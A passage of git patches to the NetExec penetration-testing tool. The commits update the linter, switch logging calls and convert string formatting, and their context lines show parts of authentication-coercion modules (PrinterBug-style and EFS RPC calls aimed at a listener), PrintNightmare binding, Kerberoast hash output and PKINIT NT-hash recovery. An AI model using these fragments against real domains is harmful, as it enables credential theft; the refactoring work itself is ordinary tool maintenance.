From 351979375beeb34151aabda936f18814d363757d Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 09:45:31 -0400 Subject: [PATCH 001/103] Update ruff to latest version --- poetry.lock | 41 +++++++++++++++++++++-------------------- 1 file changed, 21 insertions(+), 20 deletions(-) diff --git a/poetry.lock b/poetry.lock index 3638311172..94cd8146dd 100644 --- a/poetry.lock +++ b/poetry.lock @@ -2018,29 +2018,30 @@ jupyter = ["ipywidgets (>=7.5.1,<9)"] [[package]] name = "ruff" -version = "0.0.292" -description = "An extremely fast Python linter, written in Rust." +version = "0.11.3" +description = "An extremely fast Python linter and code formatter, written in Rust." optional = false python-versions = ">=3.7" groups = ["dev"] files = [ - {file = "ruff-0.0.292-py3-none-macosx_10_7_x86_64.whl", hash = "sha256:02f29db018c9d474270c704e6c6b13b18ed0ecac82761e4fcf0faa3728430c96"}, - {file = "ruff-0.0.292-py3-none-macosx_10_9_x86_64.macosx_11_0_arm64.macosx_10_9_universal2.whl", hash = "sha256:69654e564342f507edfa09ee6897883ca76e331d4bbc3676d8a8403838e9fade"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6c3c91859a9b845c33778f11902e7b26440d64b9d5110edd4e4fa1726c41e0a4"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4476f1243af2d8c29da5f235c13dca52177117935e1f9393f9d90f9833f69e4"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:be8eb50eaf8648070b8e58ece8e69c9322d34afe367eec4210fdee9a555e4ca7"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9889bac18a0c07018aac75ef6c1e6511d8411724d67cb879103b01758e110a81"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:6bdfabd4334684a4418b99b3118793f2c13bb67bf1540a769d7816410402a205"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:aa7c77c53bfcd75dbcd4d1f42d6cabf2485d2e1ee0678da850f08e1ab13081a8"}, - {file = "ruff-0.0.292-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8e087b24d0d849c5c81516ec740bf4fd48bf363cfb104545464e0fca749b6af9"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:f160b5ec26be32362d0774964e218f3fcf0a7da299f7e220ef45ae9e3e67101a"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:ac153eee6dd4444501c4bb92bff866491d4bfb01ce26dd2fff7ca472c8df9ad0"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_i686.whl", hash = "sha256:87616771e72820800b8faea82edd858324b29bb99a920d6aa3d3949dd3f88fb0"}, - {file = "ruff-0.0.292-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:b76deb3bdbea2ef97db286cf953488745dd6424c122d275f05836c53f62d4016"}, - {file = "ruff-0.0.292-py3-none-win32.whl", hash = "sha256:e854b05408f7a8033a027e4b1c7f9889563dd2aca545d13d06711e5c39c3d003"}, - {file = "ruff-0.0.292-py3-none-win_amd64.whl", hash = "sha256:f27282bedfd04d4c3492e5c3398360c9d86a295be00eccc63914438b4ac8a83c"}, - {file = "ruff-0.0.292-py3-none-win_arm64.whl", hash = "sha256:7f67a69c8f12fbc8daf6ae6d36705037bde315abf8b82b6e1f4c9e74eb750f68"}, - {file = "ruff-0.0.292.tar.gz", hash = "sha256:1093449e37dd1e9b813798f6ad70932b57cf614e5c2b5c51005bf67d55db33ac"}, + {file = "ruff-0.11.3-py3-none-linux_armv6l.whl", hash = "sha256:cb893a5eedff45071d52565300a20cd4ac088869e156b25e0971cb98c06f5dd7"}, + {file = "ruff-0.11.3-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:58edd48af0e201e2f494789de80f5b2f2b46c9a2991a12ea031254865d5f6aa3"}, + {file = "ruff-0.11.3-py3-none-macosx_11_0_arm64.whl", hash = "sha256:520f6ade25cea98b2e5cb29eb0906f6a0339c6b8e28a024583b867f48295f1ed"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d1ca4405a93ebbc05e924358f872efceb1498c3d52a989ddf9476712a5480b16"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:f4341d38775a6be605ce7cd50e951b89de65cbd40acb0399f95b8e1524d604c8"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:72bf5b49e4b546f4bea6c05448ab71919b09cf75363adf5e3bf5276124afd31c"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64.manylinux2014_ppc64.whl", hash = "sha256:9fa791ee6c3629ba7f9ba2c8f2e76178b03f3eaefb920e426302115259819237"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:2c81d3fe718f4d303aaa4ccdcd0f43e23bb2127da3353635f718394ca9b26721"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:4e4c38e9b6c01caaba46b6d8e732791f4c78389a9923319991d55b298017ce02"}, + {file = "ruff-0.11.3-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9686f5d1a2b4c918b5a6e9876bfe7f47498a990076624d41f57d17aadd02a4dd"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:4800ddc4764d42d8961ce4cb972bcf5cc2730d11cca3f11f240d9f7360460408"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:e63a2808879361aa9597d88d86380d8fb934953ef91f5ff3dafe18d9cb0b1e14"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_i686.whl", hash = "sha256:8f8b1c4ae62638cc220df440140c21469232d8f2cb7f5059f395f7f48dcdb59e"}, + {file = "ruff-0.11.3-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:3ea2026be50f6b1fbedd2d1757d004e1e58bd0f414efa2a6fa01235468d4c82a"}, + {file = "ruff-0.11.3-py3-none-win32.whl", hash = "sha256:73d8b90d12674a0c6e98cd9e235f2dcad09d1a80e559a585eac994bb536917a3"}, + {file = "ruff-0.11.3-py3-none-win_amd64.whl", hash = "sha256:faf1bfb0a51fb3a82aa1112cb03658796acef978e37c7f807d3ecc50b52ecbf6"}, + {file = "ruff-0.11.3-py3-none-win_arm64.whl", hash = "sha256:67f8b68d7ab909f08af1fb601696925a89d65083ae2bb3ab286e572b5dc456aa"}, + {file = "ruff-0.11.3.tar.gz", hash = "sha256:8d5fcdb3bb359adc12b757ed832ee743993e7474b9de714bb9ea13c4a8458bf9"}, ] [[package]] @@ -2462,4 +2463,4 @@ files = [ [metadata] lock-version = "2.1" python-versions = ">=3.10,<4.0" -content-hash = "82a5e366a4270596f82655b99b5f0f22887fc72d5d04eefc3cddc945c9e69794" +content-hash = "eb45fa5534d5e644ecc74a392f22283e25c28fcd5f0d079df45f20a2dd4701cf" From b35cfe0671935d0358ad6cc50e1d86dfaf896d22 Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 09:46:28 -0400 Subject: [PATCH 002/103] Update ruff settings declaration to reflect latest recommendations --- pyproject.toml | 21 +++++++++++---------- 1 file changed, 11 insertions(+), 10 deletions(-) diff --git a/pyproject.toml b/pyproject.toml index 4a010aa13c..a6ac17d90d 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -85,9 +85,18 @@ build-backend = "poetry_dynamic_versioning.backend" flake8 = "*" shiv = "*" pytest = "^7.2.2" -ruff = "=0.0.292" +ruff = "*" [tool.ruff] +target-version = "py310" +exclude = [ + ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", + ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", + "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" +] +line-length = 65000 + +[tool.ruff.lint] select = [ "E", "F", "D", "UP", "YTT", "ASYNC", "B", "A", "C4", "ISC", "ICN", "PIE", "PT", "Q", "RSE", "RET", "SIM", "TID", "ERA", "FLY", "PERF", "FURB", "LOG", "RUF" @@ -103,20 +112,12 @@ ignore = [ fixable = ["ALL"] unfixable = [] -exclude = [ - ".bzr", ".direnv", ".eggs", ".git", ".git-rewrite", ".hg", ".mypy_cache", - ".nox", ".pants.d", ".pytype", ".ruff_cache", ".svn", ".tox", ".venv", - "__pypackages__", "_build", "buck-out", "build", "dist", "node_modules", "venv" -] per-file-ignores = {} -line-length = 65000 # Allow unused variables when underscore-prefixed. dummy-variable-rgx = "^(_+|(_+[a-zA-Z0-9_]*[a-zA-Z0-9]+?))$" -target-version = "py310" - -[tool.ruff.flake8-quotes] +[tool.ruff.lint.flake8-quotes] docstring-quotes = "double" inline-quotes = "double" multiline-quotes = "double" From 2c29856d924cd0b0f927ae4051855bd966ec239f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 09:59:53 -0400 Subject: [PATCH 003/103] Update ruff settings declaration to reflect latest recommendations --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index a6ac17d90d..c6944a62a4 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -108,10 +108,10 @@ ignore = [ "PERF203", "RUF012" ] +# THE SETTINGS BELOW ARE DEFAULTS, left in here to override potential vs-code settings # Allow autofix for all enabled rules (when `--fix`) is provided. fixable = ["ALL"] unfixable = [] - per-file-ignores = {} # Allow unused variables when underscore-prefixed. From f4ad70635a58c3191e7bd000f4774d3f814c8acf Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 11:01:27 -0400 Subject: [PATCH 004/103] Fix LOG015 and replace all calls to root logger --- nxc/helpers/pfx.py | 45 ++++++++++++----------------------- nxc/modules/uac.py | 1 - nxc/protocols/smb.py | 2 +- nxc/protocols/smb/samrfunc.py | 8 +++---- 4 files changed, 19 insertions(+), 37 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index 769f512359..fa12c8e913 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -47,8 +47,7 @@ from minikerberos.pkinit import PKINIT, DirtyDH from minikerberos.protocol.constants import NAME_TYPE, PaDataType from minikerberos.protocol.encryption import Enctype, _enctype_table, Key -from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, \ - PA_PAC_REQUEST +from minikerberos.protocol.asn1_structs import KDC_REQ_BODY, PrincipalName, KDCOptions, EncASRepPart, AS_REQ, PADATA_TYPE, PA_PAC_REQUEST from minikerberos.protocol.rfc4556 import PKAuthenticator, AuthPack, PA_PK_AS_REP, KDCDHKeyInfo, PA_PK_AS_REQ from pyasn1.codec.der import decoder, encoder @@ -70,7 +69,7 @@ from impacket.krb5.ccache import CCache as impacket_CCache from nxc.paths import NXC_PATH - +from nxc.logger import nxc_logger class myPKINIT(PKINIT): """ @@ -304,8 +303,8 @@ def truncate_key(value, keysize): key = Key(cipher.enctype, t_key) enc_data = as_rep["enc-part"]["cipher"] - logging.info("AS-REP encryption key (you might need this later):") - logging.info(hexlify(t_key).decode("utf-8")) + nxc_logger.info("AS-REP encryption key (you might need this later):") + nxc_logger.info(hexlify(t_key).decode("utf-8")) dec_data = cipher.decrypt(key, 3, enc_data) encasrep = EncASRepPart.load(dec_data).native cipher = _enctype_table[int(encasrep["key"]["keytype"])] @@ -327,34 +326,27 @@ def printPac(self, data, key=None): for _bufferN in range(pacType["cBuffers"]): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] - if logging.getLogger().level == logging.DEBUG: - print("TYPE 0x%x" % infoBuffer["ulType"]) + nxc_logger.debug("TYPE 0x%x" % infoBuffer["ulType"]) if infoBuffer["ulType"] == 2: found = True credinfo = PAC_CREDENTIAL_INFO(data) - if logging.getLogger().level == logging.DEBUG: - credinfo.dump() newCipher = _enctype_table[credinfo["EncryptionType"]] out = newCipher.decrypt(key, 16, credinfo["SerializedData"]) type1 = TypeSerialization1(out) # I'm skipping here 4 bytes with its the ReferentID for the pointer newdata = out[len(type1) + 4:] pcc = PAC_CREDENTIAL_DATA(newdata) - if logging.getLogger().level == logging.DEBUG: - pcc.dump() for cred in pcc["Credentials"]: credstruct = NTLM_SUPPLEMENTAL_CREDENTIAL(b"".join(cred["Credentials"])) - if logging.getLogger().level == logging.DEBUG: - credstruct.dump() - logging.info("Recovered NT Hash") - logging.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) + nxc_logger.info("Recovered NT Hash") + nxc_logger.info(hexlify(credstruct["NtPassword"]).decode("utf-8")) nthash = hexlify(credstruct["NtPassword"]).decode("utf-8") buff = buff[len(infoBuffer):] if not found: - logging.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") + nxc_logger.info("Did not find the PAC_CREDENTIAL_INFO in the PAC. Are you sure your TGT originated from a PKINIT operation?") return nthash def __init__(self, username, domain, kdcHost, key, tgt): @@ -399,10 +391,8 @@ def dump(self): authenticator["cusec"] = now.microsecond authenticator["ctime"] = KerberosTime.to_asn1(now) - if logging.getLogger().level == logging.DEBUG: - logging.debug("AUTHENTICATOR") - print(authenticator.prettyPrint()) - print("\n") + nxc_logger.debug("AUTHENTICATOR") + nxc_logger.debug(authenticator.prettyPrint() + "\n") encodedAuthenticator = encoder.encode(authenticator) @@ -452,23 +442,18 @@ def dump(self): myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, "additional-tickets", (myTicket,)) - if logging.getLogger().level == logging.DEBUG: - logging.debug("Final TGS") - print(tgsReq.prettyPrint()) - if logging.getLogger().level == logging.DEBUG: - logging.debug("Final TGS") - print(tgsReq.prettyPrint()) + nxc_logger.debug("Final TGS") + nxc_logger.debug(tgsReq.prettyPrint()) message = encoder.encode(tgsReq) - logging.info("Requesting ticket to self with PAC") + nxc_logger.info("Requesting ticket to self with PAC") r = sendReceive(message, self.__domain, self.__kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] - if logging.getLogger().level == logging.DEBUG: - logging.debug("TGS_REP") - print(tgs.prettyPrint()) + nxc_logger.debug("TGS_REP") + nxc_logger.debug(tgs.prettyPrint()) cipherText = tgs["ticket"]["enc-part"]["cipher"] diff --git a/nxc/modules/uac.py b/nxc/modules/uac.py index f731b8051a..7756d3c0f7 100644 --- a/nxc/modules/uac.py +++ b/nxc/modules/uac.py @@ -14,7 +14,6 @@ class NXCModule: def __init__(self, context=None, module_options=None): self.context = context self.module_options = module_options - logging.debug("test") def options(self, context, module_options): """ """ diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index dcbd77a301..16ec683084 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -1426,7 +1426,7 @@ def rid_brute(self, max_rid=None): try: string_binding = KNOWN_PROTOCOLS[self.port]["bindstr"] - logging.debug(f"StringBinding {string_binding}") + self.logger.debug(f"StringBinding {string_binding}") rpc_transport = transport.DCERPCTransportFactory(string_binding) rpc_transport.setRemoteHost(self.host) diff --git a/nxc/protocols/smb/samrfunc.py b/nxc/protocols/smb/samrfunc.py index e65fb5c8f1..cd28ce9821 100644 --- a/nxc/protocols/smb/samrfunc.py +++ b/nxc/protocols/smb/samrfunc.py @@ -2,8 +2,6 @@ # Which in turn stole from Impacket :) # Code refactored and added to by @mjhallenbeck (Marshall-Hallenbeck on GitHub) -import logging - from impacket.dcerpc.v5 import transport, lsat, lsad, samr from impacket.dcerpc.v5.dtypes import MAXIMUM_ALLOWED from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE @@ -43,7 +41,7 @@ def get_builtin_groups(self, group): domains = self.samr_query.get_domains() members = {} if "Builtin" not in domains: - logging.error("No Builtin group to query locally on") + self.logger.error("No Builtin group to query locally on") return None domain_handle = self.samr_query.get_domain_handle("Builtin") @@ -128,10 +126,10 @@ def get_dce(self): dce.connect() dce.bind(samr.MSRPC_UUID_SAMR) except NetBIOSError as e: - logging.error(f"NetBIOSError on Connection: {e}") + self.logger.error(f"NetBIOSError on Connection: {e}") return None except SessionError as e: - logging.error(f"SessionError on Connection: {e}") + self.logger.error(f"SessionError on Connection: {e}") return None return dce From 31373e4cac4b6673e6ffae6289a27bb415d2f26f Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 11:02:14 -0400 Subject: [PATCH 005/103] Don't check for D413, missing-blank-line-after-last-section --- pyproject.toml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pyproject.toml b/pyproject.toml index c6944a62a4..bfacb755e3 100644 --- a/pyproject.toml +++ b/pyproject.toml @@ -103,7 +103,7 @@ select = [ ] ignore = [ "E501", "F405", "D100", "D101", "D102", "D103", "D104", "D105", "D106", - "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D415", + "D107", "D203", "D204", "D205", "D212", "D213", "D400", "D401", "D413", "D415", "D417", "D419", "RET503", "RET505", "RET506", "RET507", "RET508", "PERF203", "RUF012" ] From 66e9927c3edcf55318475ae284f13aaddcac69fe Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 11:57:47 -0400 Subject: [PATCH 006/103] Fix UP031, remove percent string replacements --- nxc/helpers/pfx.py | 2 +- nxc/modules/coerce_plus.py | 37 +++++++++++++++------------------- nxc/modules/printnightmare.py | 2 +- nxc/protocols/ldap/kerberos.py | 8 ++++---- nxc/protocols/smb.py | 7 +++---- nxc/protocols/smb/atexec.py | 2 +- 6 files changed, 26 insertions(+), 32 deletions(-) diff --git a/nxc/helpers/pfx.py b/nxc/helpers/pfx.py index fa12c8e913..0b1e27e710 100644 --- a/nxc/helpers/pfx.py +++ b/nxc/helpers/pfx.py @@ -326,7 +326,7 @@ def printPac(self, data, key=None): for _bufferN in range(pacType["cBuffers"]): infoBuffer = PAC_INFO_BUFFER(buff) data = pacType["Buffers"][infoBuffer["Offset"] - 8:][:infoBuffer["cbBufferSize"]] - nxc_logger.debug("TYPE 0x%x" % infoBuffer["ulType"]) + nxc_logger.debug(f"TYPE 0x{infoBuffer['ulType']}") if infoBuffer["ulType"] == 2: found = True credinfo = PAC_CREDENTIAL_INFO(data) diff --git a/nxc/modules/coerce_plus.py b/nxc/modules/coerce_plus.py index 09017fc57f..fa3caf9cae 100644 --- a/nxc/modules/coerce_plus.py +++ b/nxc/modules/coerce_plus.py @@ -221,7 +221,7 @@ def __init__(self, context): def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "Fssagentrpc": { - "stringBinding": r"ncacn_np:%s[\PIPE\Fssagentrpc]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\Fssagentrpc]", "MSRPC_UUID_FSRVP": ("a8e0653c-2744-4389-a61d-7373df8b2292", "3.0"), }, } @@ -338,7 +338,7 @@ def __init__(self, context): def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "netdfs": { - "stringBinding": r"ncacn_np:%s[\PIPE\netdfs]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\netdfs]", "MSRPC_UUID_DFSNM": ("4fc742e0-4a10-11cf-8273-00aa004ae673", "3.0"), }, } @@ -509,23 +509,23 @@ def __init__(self, context): def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "lsarpc": { - "stringBinding": r"ncacn_np:%s[\PIPE\lsarpc]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\lsarpc]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "efsrpc": { - "stringBinding": r"ncacn_np:%s[\PIPE\efsrpc]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\efsrpc]", "MSRPC_UUID_EFSR": ("df1941c5-fe89-4e79-bf10-463657acf44d", "1.0"), }, "samr": { - "stringBinding": r"ncacn_np:%s[\PIPE\samr]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\samr]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "lsass": { - "stringBinding": r"ncacn_np:%s[\PIPE\lsass]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\lsass]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, "netlogon": { - "stringBinding": r"ncacn_np:%s[\PIPE\netlogon]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\netlogon]", "MSRPC_UUID_EFSR": ("c681d488-d850-11d0-8c52-00c04fd90f7e", "1.0"), }, } @@ -758,17 +758,15 @@ def __init__(self, context): self.context = context def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) -> str: - string_binding = r"ncacn_ip_tcp:%s[135]" % target + string_binding = rf"ncacn_ip_tcp:{target}[135]" rpctransport = transport.DCERPCTransportFactory(string_binding) rpctransport.set_connect_timeout(timeout) dce = rpctransport.get_dce_rpc() - self.context.log.debug( - "Trying to resolve dynamic endpoint %s" % repr(uuid.bin_to_string(interface)) - ) + self.context.log.debug(f"Trying to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}") try: dce.connect() except Exception as e: - self.context.log.warning("Failed to connect to endpoint mapper: %s" % e) + self.context.log.warning(f"Failed to connect to endpoint mapper: {e}") raise e try: endpoint = epm.hept_map(target, interface, protocol="ncacn_ip_tcp", dce=dce) @@ -777,17 +775,14 @@ def get_dynamic_endpoint(self, interface: bytes, target: str, timeout: int = 5) ) return endpoint except Exception as e: - self.context.log.debug( - "Failed to resolve dynamic endpoint %s" - % repr(uuid.bin_to_string(interface)) - ) + self.context.log.debug(f"Failed to resolve dynamic endpoint {uuid.bin_to_string(interface)!r}") raise e def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "spoolss": { - "stringBinding": r"ncacn_np:%s[\PIPE\spoolss]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\spoolss]", "MSRPC_UUID_RPRN": ("12345678-1234-abcd-ef00-0123456789ab", "1.0"), "port": 445 }, @@ -835,7 +830,7 @@ def connect(self, username, password, domain, lmhash, nthash, aesKey, target, do def exploit(self, dce, listener, target, always_continue, pipe): try: - resp = rprn.hRpcOpenPrinter(dce, "\\\\%s\x00" % target) + resp = rprn.hRpcOpenPrinter(dce, f"\\\\{target}\x00") except Exception as e: if str(e).find("Broken pipe") >= 0: # The connection timed-out. Let's try to bring it back next round @@ -853,7 +848,7 @@ def exploit(self, dce, listener, target, always_continue, pipe): request = rprn.RpcRemoteFindFirstPrinterChangeNotificationEx() request["hPrinter"] = resp["pHandle"] request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB - request["pszLocalMachine"] = "\\\\%s\x00" % listener + request["pszLocalMachine"] = f"\\\\{listener}\x00" request["fdwOptions"] = 0x00000000 request["dwPrinterLocal"] = 0 dce.request(request) @@ -885,7 +880,7 @@ def exploit(self, dce, listener, target, always_continue, pipe): request = RpcRemoteFindFirstPrinterChangeNotification() request["hPrinter"] = resp["pHandle"] request["fdwFlags"] = rprn.PRINTER_CHANGE_ADD_JOB - request["pszLocalMachine"] = "\\\\%s\x00" % listener + request["pszLocalMachine"] = f"\\\\{listener}\x00" request["fdwOptions"] = 0x00000000 request["dwPrinterLocal"] = 0 request["cbBuffer"] = NULL @@ -908,7 +903,7 @@ def __init__(self, context): def connect(self, username, password, domain, lmhash, nthash, aesKey, target, doKerberos, dcHost, pipe): binding_params = { "eventlog": { - "stringBinding": r"ncacn_np:%s[\PIPE\eventlog]" % target, + "stringBinding": rf"ncacn_np:{target}[\PIPE\eventlog]", "MSRPC_UUID_EVEN": ("82273fdc-e32a-18c3-3f78-827929dc23ea", "0.0"), }, } diff --git a/nxc/modules/printnightmare.py b/nxc/modules/printnightmare.py index 9bca9941a8..36da3f601a 100644 --- a/nxc/modules/printnightmare.py +++ b/nxc/modules/printnightmare.py @@ -40,7 +40,7 @@ def options(self, context, module_options): def on_login(self, context, connection): # Connect and bind to MS-RPRN (https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rprn/848b8334-134a-4d02-aea4-03b673d6c515) target = connection.host if not connection.kerberos else connection.hostname + "." + connection.domain - stringbinding = r"ncacn_np:%s[\PIPE\spoolss]" % target + stringbinding = rf"ncacn_np:{target}[\PIPE\spoolss]" context.log.info(f"Binding to {stringbinding!r}") diff --git a/nxc/protocols/ldap/kerberos.py b/nxc/protocols/ldap/kerberos.py index 2e47fd1740..bc989ac4a1 100644 --- a/nxc/protocols/ldap/kerberos.py +++ b/nxc/protocols/ldap/kerberos.py @@ -64,7 +64,7 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None): # last 12 bytes of the encrypted ticket represent the checksum of the decrypted # ticket if decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.rc4_hmac.value: - entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( + entry = "$krb5tgs${}$*{}${}${}*${}${}".format( constants.EncryptionTypes.rc4_hmac.value, username, decoded_tgs["ticket"]["realm"], @@ -73,7 +73,7 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None): hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][16:].asOctets()).decode(), ) elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value: - entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( + entry = "$krb5tgs${}${}${}$*{}*${}${}".format( constants.EncryptionTypes.aes128_cts_hmac_sha1_96.value, username, decoded_tgs["ticket"]["realm"], @@ -82,7 +82,7 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None): hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode, ) elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value: - entry = "$krb5tgs$%d$%s$%s$*%s*$%s$%s" % ( + entry = "$krb5tgs${}${}${}$*{}*${}${}".format( constants.EncryptionTypes.aes256_cts_hmac_sha1_96.value, username, decoded_tgs["ticket"]["realm"], @@ -91,7 +91,7 @@ def output_tgs(self, tgs, old_session_key, session_key, username, spn, fd=None): hexlify(decoded_tgs["ticket"]["enc-part"]["cipher"][:-12:].asOctets()).decode(), ) elif decoded_tgs["ticket"]["enc-part"]["etype"] == constants.EncryptionTypes.des_cbc_md5.value: - entry = "$krb5tgs$%d$*%s$%s$%s*$%s$%s" % ( + entry = "$krb5tgs${}$*{}${}${}*${}${}".format( constants.EncryptionTypes.des_cbc_md5.value, username, decoded_tgs["ticket"]["realm"], diff --git a/nxc/protocols/smb.py b/nxc/protocols/smb.py index 16ec683084..722b9411db 100755 --- a/nxc/protocols/smb.py +++ b/nxc/protocols/smb.py @@ -66,7 +66,6 @@ from datetime import datetime from functools import wraps from traceback import format_exc -import logging from termcolor import colored import contextlib @@ -940,7 +939,7 @@ def qwinsta(self): maxRemoteIp = maxRemoteIp if len("RemoteAddress") < maxRemoteIp else len("RemoteAddress") + 1 maxClientName = max([len(sessions[i]["ClientName"]) + 1 for i in sessions]) maxClientName = maxClientName if len("ClientName") < maxClientName else len("ClientName") + 1 - template = ("{SESSIONNAME: <%d} " + template = ("{SESSIONNAME: <%d} " # noqa: UP031 "{USERNAME: <%d} " "{ID: <%d} " "{IPv4: <16} " @@ -1011,7 +1010,7 @@ def tasklist(self): self.logger.success("Enumerated processes") maxImageNameLen = max([len(i["ImageName"]) for i in res]) maxSidLen = max([len(i["pSid"]) for i in res]) - template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) + template = "{: <%d} {: <8} {: <11} {: <%d} {: >12}" % (maxImageNameLen, maxSidLen) # noqa: UP031 self.logger.highlight(template.format("Image Name", "PID", "Session#", "SID", "Mem Usage")) self.logger.highlight(template.replace(": ", ":=").format("", "", "", "", "")) for procInfo in res: @@ -1144,7 +1143,7 @@ def shares(self): self.logger.highlight(f"{name:<15} {','.join(perms):<15} {remark}") return permissions - def dir(self): # noqa: A003 + def dir(self): search_path = ntpath.join(self.args.dir, "*") try: contents = self.conn.listPath(self.args.share, search_path) diff --git a/nxc/protocols/smb/atexec.py b/nxc/protocols/smb/atexec.py index 105983d41f..3311be3c87 100755 --- a/nxc/protocols/smb/atexec.py +++ b/nxc/protocols/smb/atexec.py @@ -37,7 +37,7 @@ def __init__(self, target, share_name, username, password, domain, doKerberos=Fa if self.__password is None: self.__password = "" - stringbinding = r"ncacn_np:%s[\pipe\atsvc]" % self.__target + stringbinding = rf"ncacn_np:{self.__target}[\pipe\atsvc]" self.__rpctransport = transport.DCERPCTransportFactory(stringbinding) self.__rpctransport.setRemoteHost(self.__remoteHost) From 61e2e58e5066bb1443b4720be6c15487b49f3dca Mon Sep 17 00:00:00 2001 From: Alexander Neff Date: Thu, 3 Apr 2025 12:01:33 